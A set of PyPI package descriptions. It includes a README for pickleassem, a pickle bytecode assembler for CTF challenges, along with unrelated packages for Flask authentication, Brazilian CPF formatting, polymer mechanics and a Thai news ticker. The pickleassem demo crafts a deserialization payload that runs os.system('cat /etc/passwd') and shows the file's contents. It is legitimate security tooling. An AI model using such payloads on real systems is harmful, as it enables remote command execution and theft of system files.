semvec/pypi-packages huggingface dataset:
pickleassem 1.1.0
A simple pickle assembler to make handcrafting pickle bytecode easier.
License: MIT
Requires Python: >=3.4
Keywords: pickle assembler handcraft bytecode security exploit ctf

# pickleassem

[![PyPI - Downloads](https://pepy.tech/badge/pickleassem)](https://pepy.tech/count/pickleassem)
[![PyPI - Version](https://img.shields.io/pypi/v/pickleassem.svg)](https://pypi.org/project/pickleassem)
[![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pickleassem.svg)](https://pypi.org/project/pickleassem)

[![GitHub Actions - Status](https://github.com/gousaiyang/pickleassem/workflows/Build/badge.svg)](https://github.com/gousaiyang/pickleassem/actions?query=workflow%3ABuild)
[![Codecov - Coverage](https://codecov.io/gh/gousaiyang/pickleassem/branch/master/graph/badge.svg)](https://codecov.io/gh/gousaiyang/pickleassem)

A simple pickle assembler to make handcrafting pickle bytecode easier.

This is useful for CTF challenges like [pyshv in Balsn CTF 2019](https://ctftime.org/task/9386).

## Demo

```python
import pickle
import pickletools

from pickleassem import PickleAssembler

pa = PickleAssembler(proto=4)
pa.push_mark()
pa.util_push('cat /etc/passwd')
pa.build_inst('os', 'system')
payload = pa.assemble()
assert b'R' not in payload
print(payload)
pickletools.dis(payload, annotate=1)
pickle.loads(payload)
```

Output:

```
b'\x80\x04(\x8c\x0fcat /etc/passwdios\nsystem\n.'
    0: \x80 PROTO      4 Protocol version indicator.
    2: (    MARK         Push markobject onto the stack.
    3: \x8c     SHORT_BINUNICODE 'cat /etc/passwd' Push a Python Unicode string object.
   20: i        INST       'os system' (MARK at 2) Build a class instance.
   31: .    STOP                                   Stop the unpickling machine.
highest protocol among opcodes = 4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
```

## Installation

Install with pip: `pip install -U pickleassem`

## Documentation

Just refer to the source code. Each method of `PickleAssembler` whose name begins with `push`, `build`, `pop` or `memo` corresponds to a pickle opcode. Methods whose name begins with `util` are higher-level utility functions. `append_raw` can be used to insert arbitrary raw opcode.

The following opcodes and corresponding features are not implemented: `PERSID`, `BINPERSID`, `EXT1`, `EXT2`, `EXT4`, `FRAME`, `NEXT_BUFFER`, `READONLY_BUFFER`.

## See Also

Other tools for pickle exploit:

- `anapickle`: [slides](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf), [repo](https://github.com/sensepost/anapickle)
- [`pwnypack.pickle`](https://github.com/edibledinos/pwnypack/blob/master/pwnypack/pickle.py)
Flask-RESTful-Auth 0.0.4
Customizable RESTful Authentication & User Management: Register, Confirm, Login, Change username/password, Forgot password and more.
License: MIT
Requires Python: !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*
Keywords: Flask User Authorization Account Management Registration Username Email Confirmation Forgot Reset Password Invitation

# flask-restful-api

This is where a long description of our package will go...

# Setup (Mac/Linux)

1. `cd Flask-RESTful-Auth`
2. `python3 -m venv venv`
3. `source venv/bin/activate`
4. `pip install -r requirements.txt`

# Setup (Windows)

1. ` cd .\Flask-RESTful-Auth\`
2. `python -m venv venv`
3. `.\venv\Scripts\Activate.ps1`
4. `pip install -r requirements.txt`

# Run the example

Windows: `python .\examples\00_basic\app.py`

Unix: `python ./examples/00_basic/app.py`
pyshn 0.2.0
My python swiss army knife
License: MIT
Requires Python: >=3.9

pyshn
=====

My python swiss army knife.

Installing
----------

Install and update using `pip`_:

.. code-block:: text

    $ pip install -U pyshn

.. _pip: https://pip.pypa.io/en/stable/quickstart/

Usage
-----

.. code-block:: python

    from pyshn.cpf import cpf

    print(cpf(1))
    # raises pyshn.cpf.CpfError: invalid number '1'

    print(cpf(191))
    # 000.000.001-91

    print(cpf("191"))
    # raises pyshn.cpf.CpfError: invalid format '191'.

    print(cpf("00000000191"))
    # 000.000.001-91

    print(cpf("000000001/91"))
    # 000.000.001-91

    print(cpf("000.000.001-91"))
    # 000.000.001-91

    print(format(cpf(191)))
    # 000.000.001-91

    print(format(cpf(191), 'n'))
    # 00000000191

    print(format(cpf(191), 'N'))
    # 000000001/91

    print(format(cpf(191), 'chewbacca'))
    # ValueError: Invalid format specifier

    print(int(cpf(191)))
    # 191

    print(cpf(1, generate=True))
    # 000.000.001-91

    print(cpf("1", generate=True))
    # pyshn.cpf.CpfError: invalid format '1'.

    print(cpf("000000001", generate=True))
    # 000.000.001-91

    print(cpf("000.000.001", generate=True))
    # 000.000.001-91

    print(cpf(1, validate=False))
    # 000.000.000-01

    print(bool(cpf(1, validate=False)))
    # False

    print(bool(cpf(191, validate=False)))
    # True

    from random import random
    print(cpf(int(random()*999_999_999), generate=True))
    # 238.671.110-22

Links
-----

-   PyPI Releases: https://pypi.org/project/pyshn/
-   Source Code: https://github.com/shneiderfku/pyshn/
-   Issue Tracker: https://github.com/shneiderfku/pyshn/issues/
chain-breaking-polymer-networks 1.0.1
Chain breaking in the statistical mechanical constitutive theory of polymer networks
License: MIT

# chain_breaking_polymer_networks

This is the Python package corresponding to "Chain breaking in the statistical mechanical constitutive theory of polymer networks" by Michael R. Buche and Meredith N. Silberstein, 2021.

It was written for Python 3, and uses some typical packages: numpy, scipy, and matplotlib.

Please find more information on installation, usage, and examples [here](https://github.com/mbuche/chain_breaking_polymer_networks).
unclenews 0.0.5
Running Text for News Reading by Uncle Engineer
License: MIT
Keywords: News,Running Text,Karaoke,Uncle Engineer

(Uncle News) โปรแกรมไว้อ่านข่าวของลุง v.0.0.1 by Uncle Engineer
===============================================================

PyPI: https://pypi.org/project/unclenews/

วิธีติดตั้ง
~~~~~~~~~~~

เปิด CMD / Terminal

.. code:: python

    pip install unclenews

วิธีใช้
~~~~~~~

-  เปิด IDLE ขึ้นมาแล้วพิมพ์...

.. code:: python

    import unclenews

-  หรือเปิด cmd / terminal แล้วพิมพ์

.. code:: python

    python -m unclenews

[ปุ่มกดต่างๆ]
-  กด F1 รัน/เพิ่มความเร็ว
-  กด P เพื่อหยุดชั่วคราว
-  กด R เพื่อรันต่อ
-  กด F2 หยุด+รีเซ็ต/ลดความเร็ว
-  กด F3 แก้ไขข้อความ
-  กด F5 เต็มจอ/ย่อ
-  กด F10 วิธีใช้งาน
-  กด F12 ปิดโปรแกรม
-  กดลูกศรซ้าย/ขวา ปรับตำแหน่ง
-  กดลูกศรขึ้น/ลงปรับขนาดฟอนต์

พัฒนาโดย: ลุงวิศวกร สอนคำนวณ FB: https://www.facebook.com/UncleEngineer
YouTube: https://www.youtube.com/UncleEngineer